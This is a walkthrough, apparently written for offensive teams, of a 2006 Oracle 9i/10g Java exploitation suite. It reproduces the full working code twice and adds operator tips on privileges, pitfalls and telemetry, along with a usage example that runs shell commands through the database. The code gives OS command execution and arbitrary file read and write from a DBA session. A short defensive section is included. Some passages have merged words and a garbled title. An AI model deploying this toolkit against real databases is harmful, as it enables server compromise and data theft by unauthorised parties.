Oracle 9i/10g Java Execution Suite: A Deep Dive for Offensive Operations

Oracle 9i/10g Java Execution Suite: A Deep Dive for Offensive Operations
What this paper is
This paper, published in 2006, presents a Java-based exploitation suite for Oracle Database versions 9i and 10g. It allows an attacker with specific Oracle privileges to perform file read, file write, and OS command execution directly from within the database. The core idea is to leverage Oracle's Java Virtual Machine (JVM) integration to bypass traditional network-based exploitation methods and operate with the database server's operating system privileges.
Simple technical breakdown
Oracle databases can be configured to run Java code. This exploit uses this feature to upload and execute custom Java code. This Java code then acts as a toolset:
- Execute Commands: It can run any OS command on the server where the Oracle database is running.
- Read Files: It can read the content of any file on the server that the Oracle database process has permission to access.
- Write Files: It can write data to files on the server, potentially overwriting existing files or creating new ones.
The exploit is delivered as SQL scripts that create Java source code within the database and then define SQL procedures that call this Java code.
Complete code and payload walkthrough
The exploit consists of three main parts: the Java source code, and three SQL procedures that wrap the Java methods.
Java Source Code (oraexec class)
create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
/*
* Command execution module
*/
public static void execCommand(String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
/*
* File reading module
*/
public static void readFile(String filename) throws IOException
{
FileReader f = new FileReader(filename);
BufferedReader fr = new BufferedReader(f);
String text = fr.readLine();
while (text != null) {
System.out.println(text);
text = fr.readLine();
}
fr.close();
}
/*
* File writing module
*/
public static void writeFile(String filename, String line) throws IOException
{
FileWriter f = new FileWriter(filename, true); /* append */
BufferedWriter fw = new BufferedWriter(f);
fw.write(line);
fw.write("\n");
fw.close();
}
}
/import java.lang.*;andimport java.io.*;: These lines import necessary Java libraries for general language features and input/output operations, respectively.public class oraexec: This declares the main Java class namedoraexec.public static void execCommand(String command) throws IOException:- Purpose: This method is designed to execute an operating system command.
- Inputs: Takes a single
Stringargument namedcommand, which is the OS command to be executed. - Behavior: It uses
Runtime.getRuntime().exec(command)to pass the command string to the underlying operating system for execution. - Output: The method itself returns
void(nothing). Any output from the executed command is handled by the OS and might be captured by Oracle'sSERVEROUTPUTif configured, or it could be lost if not directed to a file or standard output. - Mapping:
execCommand-> OS Command Execution.
public static void readFile(String filename) throws IOException:- Purpose: This method reads the content of a specified file and prints it to the standard output stream of the Oracle session.
- Inputs: Takes a single
Stringargument namedfilename, which is the path to the file to be read. - Behavior:
FileReader f = new FileReader(filename);: Opens the specified file for reading.BufferedReader fr = new BufferedReader(f);: Wraps theFileReaderin aBufferedReaderfor efficient line-by-line reading.String text = fr.readLine();: Reads the first line of the file.while (text != null): Loops as long as there are lines to read.System.out.println(text);: Prints the current line to the console/output.text = fr.readLine();: Reads the next line.fr.close();: Closes theBufferedReaderand underlyingFileReader.
- Output: Prints the file's content line by line to
System.out. - Mapping:
readFile-> File Content Retrieval and Display.
public static void writeFile(String filename, String line) throws IOException:- Purpose: This method writes a given line of text to a specified file.
- Inputs:
String filename: The path to the file to write to.String line: The string content to write to the file.
- Behavior:
FileWriter f = new FileWriter(filename, true);: Opens the specified file for writing. Thetrueargument indicates that new data should be appended to the file, rather than overwriting it.BufferedWriter fw = new BufferedWriter(f);: Wraps theFileWriterin aBufferedWriterfor efficient writing.fw.write(line);: Writes the providedlineto the file.fw.write("\n");: Writes a newline character after the line, ensuring subsequent writes start on a new line.fw.close();: Closes theBufferedWriterand underlyingFileWriter.
- Output: Writes data to the specified file.
- Mapping:
writeFile-> File Content Modification/Creation.
SQL Procedures
These procedures act as interfaces, allowing SQL users to call the Java methods.
-- usage: exec javacmd('command');
create or replace procedure javacmd(p_command varchar2) as
language java
name 'oraexec.execCommand(java.lang.String)';
/- Purpose: This SQL procedure,
javacmd, allows execution of OS commands. - Inputs: Takes one
VARCHAR2parameter,p_command, which is the OS command string. - Behavior: It's declared as
language javaand itsnameis specified as'oraexec.execCommand(java.lang.String)'. This tells Oracle to find theoraexecJava class, locate itsexecCommandmethod, and call it, passing thep_commandSQL parameter as thejava.lang.Stringargument. - Mapping:
javacmdprocedure -> Wrapper fororaexec.execCommand.
-- usage: exec dbms_java.set_output(2000);
-- set serveroutput on;
-- exec javareadfile('/path/to/file');
create or replace procedure javareadfile(p_filename in varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';
/- Purpose: This SQL procedure,
javareadfile, allows reading the content of a file. - Inputs: Takes one
VARCHAR2parameter,p_filename, which is the path to the file. - Behavior: Similar to
javacmd, it's a Java language procedure. Itsnameis'oraexec.readFile(java.lang.String)', meaning it calls thereadFilemethod of theoraexecJava class, passing thep_filenameSQL parameter. The output fromSystem.out.printlnwithin the Java method will be displayed in the SQL client ifSERVEROUTPUTis enabled. - Mapping:
javareadfileprocedure -> Wrapper fororaexec.readFile.
-- usage: exec javawritefile('/path/to/file', 'line to append');
create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)';
/- Purpose: This SQL procedure,
javawritefile, allows writing a line to a file. - Inputs:
p_filename(VARCHAR2): The path to the file.p_line(VARCHAR2): The string content to write.
- Behavior: It's a Java language procedure named
'oraexec.writeFile(java.lang.String, java.lang.String)'. It calls thewriteFilemethod of theoraexecJava class, passing both SQL parameters as arguments. - Mapping:
javawritefileprocedure -> Wrapper fororaexec.writeFile.
Practical details for offensive operations teams
- Required Access Level:
- DBA Role: The most critical prerequisite is having the
DBArole (or equivalent privileges) within the Oracle database. This is necessary to create Java sources and procedures. - SYS:java Privilege: The user also needs the
SYS:javaprivilege. This privilege allows the creation and execution of Java stored procedures within the database. Without this, the Java code cannot be uploaded or run.
- DBA Role: The most critical prerequisite is having the
- Lab Preconditions:
- Oracle Database Instance: A running Oracle Database instance (9i or 10g) is required.
- SQL Client: A SQL client tool (like SQL*Plus, SQL Developer, Toad) capable of connecting to the Oracle database and executing SQL scripts.
- Network Access: Network connectivity from the attacker's machine to the Oracle database listener port (default 1521).
- Tooling Assumptions:
- SQL*Plus: The exploit is designed to be run via SQL*Plus, as indicated by the
@command in the usage example. Other SQL clients might work but require adapting the script execution. - Oracle Client Software: The attacker needs Oracle client software installed to connect to the database.
- SQL*Plus: The exploit is designed to be run via SQL*Plus, as indicated by the
- Execution Pitfalls:
- Privilege Escalation: If the attacker only has user-level access, they would first need to find a way to escalate privileges to
DBAand obtainSYS:java. This is often the hardest part. - Java Restrictions: Oracle's JVM can have security restrictions. If the JVM is configured with strict security policies (e.g.,
java.policyfile), theRuntime.getRuntime().exec()call might be blocked. This exploit assumes a less restrictive environment. - File Paths: Understanding the Oracle database server's file system structure is crucial. Paths like
/tmp/are common on Linux/Unix, but the actual accessible paths depend on the OS and Oracle user's permissions. - Firewall/Network Segmentation: Network firewalls between the attacker and the database server can prevent connection.
- Oracle Version Specifics: While targeting 9i/10g, subtle differences in JVM implementation or security features between minor versions could exist.
- Race Conditions: For file operations, especially writing, race conditions could occur if multiple processes are writing to the same file simultaneously.
- Error Handling: The Java code has basic
throws IOExceptionbut doesn't implement sophisticated error handling. Errors might manifest as cryptic SQL errors or silent failures.
- Privilege Escalation: If the attacker only has user-level access, they would first need to find a way to escalate privileges to
- Telemetry Considerations:
- Database Audit Logs:
- Creation of Java sources (
CREATE JAVA SOURCE). - Creation of procedures (
CREATE PROCEDURE). - Execution of procedures (
EXECUTEstatements forjavacmd,javareadfile,javawritefile). - Calls to
DBMS_JAVApackage.
- Creation of Java sources (
- OS Logs:
- Execution of commands by the Oracle OS user (e.g., process creation logs, command history if shell is interactive).
- File access logs for the Oracle OS user (read/write operations on files).
- Network Traffic: Connection attempts to the Oracle listener.
- SQL Client Output: Any output displayed by
SERVEROUTPUTwhen usingjavareadfile.
- Database Audit Logs:
Where this was used and when
This exploit was published in 2006. At that time, Oracle databases were widely deployed in enterprise environments. Exploits targeting database systems were highly valuable because they provided direct access to sensitive data and the underlying server infrastructure. This specific exploit would have been relevant for attackers targeting organizations heavily reliant on Oracle 9i and 10g, aiming to gain a foothold on the database server itself. It represents a class of attacks that leverage database features for broader system compromise.
Defensive lessons for modern teams
- Principle of Least Privilege: Ensure database accounts do not have excessive privileges like
DBAunless absolutely necessary. RestrictSYS:javaand other Java execution privileges. - Regular Patching: Keep Oracle database software updated with the latest security patches. Vulnerabilities related to Java execution or privilege escalation are often fixed in patches.
- Database Auditing: Implement robust database auditing to track the creation of Java sources/procedures, execution of sensitive commands, and file access.
- JVM Security Policies: If Oracle's JVM is enabled, configure strict security policies (
java.policy) to limit what Java code can do, especially regarding OS command execution and file I/O. - Network Segmentation: Isolate database servers from untrusted networks. Access to the database listener should be restricted.
- File System Permissions: Ensure the Oracle OS user has minimal necessary permissions on the file system. Avoid granting broad write access to sensitive directories.
- Application Security: Secure the applications that connect to the database. Weaknesses in applications can sometimes lead to privilege escalation within the database.
- Runtime Application Self-Protection (RASP): Modern RASP solutions can monitor and block malicious Java code execution within the database JVM.
ASCII visual (if applicable)
This exploit leverages the Oracle database as a platform to execute OS commands.
+-----------------+ +-------------------+ +--------------------+
| Attacker Machine|----->| Oracle Database |----->| Database Server OS |
| (SQL Client) | | (SQL/PLSQL) | | (Oracle User) |
+-----------------+ +-------------------+ +--------------------+
^ |
| SQL Script | Java Source & Procedures
| (CREATE JAVA SOURCE, | (oraexec, javacmd,
| CREATE PROCEDURE, | javareadfile,
| EXECUTE) | javawritefile)
| |
+-----------------------+
| Calls Runtime.getRuntime().exec()
| or performs file I/O
|
V
+--------------------+
| OS Command Executed|
| File Read/Written|
+--------------------+Explanation:
- The attacker connects to the Oracle database using a SQL client.
- They upload the Java source code (
oraexec) and create SQL procedures (javacmd,javareadfile,javawritefile) that wrap the Java methods. - When these SQL procedures are executed, Oracle's JVM runs the Java code.
- The Java code then interacts with the underlying operating system of the database server, executing commands or performing file operations with the privileges of the Oracle OS user.
Source references
- PAPER ID: 2837
- PAPER TITLE: Oracle 9i/10g - 'read/write/execute' ation Suite
- AUTHOR: Marco Ivaldi
- PUBLISHED: 2006-11-23
- PAPER URL: https://www.exploit-db.com/papers/2837
- RAW URL: https://www.exploit-db.com/raw/2837
Original Exploit-DB Content (Verbatim)
--
-- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $
--
-- raptor_oraexec.sql - java exploitation suite for oracle
-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- This is an exploitation suite for Oracle written in Java. Use it to
-- read/write files and execute OS commands with the privileges of the
-- RDBMS, if you have the required permissions (DBA role and SYS:java).
--
-- "The Oracle RDBMS could almost be considered as a shell like bash or the
-- Windows Command Prompt; it's not only capable of storing data but can also
-- be used to completely access the file system and run operating system
-- commands" -- David Litchfield (http://www.databasesecurity.com/)
--
-- Usage example:
-- $ sqlplus "/ as sysdba"
-- [...]
-- SQL> @raptor_oraexec.sql
-- [...]
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');
-- SQL> exec dbms_java.set_output(2000);
-- SQL> set serveroutput on;
-- SQL> exec javareadfile('/tmp/mytest');
-- /bin/ls -l > /tmp/aaa
-- /bin/ls -l / >/tmp/bbb
-- SQL> exec javacmd('/bin/sh /tmp/mytest');
-- SQL> !sh
-- $ ls -rtl /tmp/
-- [...]
-- -rw-r--r-- 1 oracle system 45 Nov 22 12:20 mytest
-- -rw-r--r-- 1 oracle system 1645 Nov 22 12:20 aaa
-- -rw-r--r-- 1 oracle system 8267 Nov 22 12:20 bbb
-- [...]
--
create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
/*
* Command execution module
*/
public static void execCommand(String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
/*
* File reading module
*/
public static void readFile(String filename) throws IOException
{
FileReader f = new FileReader(filename);
BufferedReader fr = new BufferedReader(f);
String text = fr.readLine();
while (text != null) {
System.out.println(text);
text = fr.readLine();
}
fr.close();
}
/*
* File writing module
*/
public static void writeFile(String filename, String line) throws IOException
{
FileWriter f = new FileWriter(filename, true); /* append */
BufferedWriter fw = new BufferedWriter(f);
fw.write(line);
fw.write("\n");
fw.close();
}
}
/
-- usage: exec javacmd('command');
create or replace procedure javacmd(p_command varchar2) as
language java
name 'oraexec.execCommand(java.lang.String)';
/
-- usage: exec dbms_java.set_output(2000);
-- set serveroutput on;
-- exec javareadfile('/path/to/file');
create or replace procedure javareadfile(p_filename in varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';
/
-- usage: exec javawritefile('/path/to/file', 'line to append');
create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)';
/
-- milw0rm.com [2006-11-23]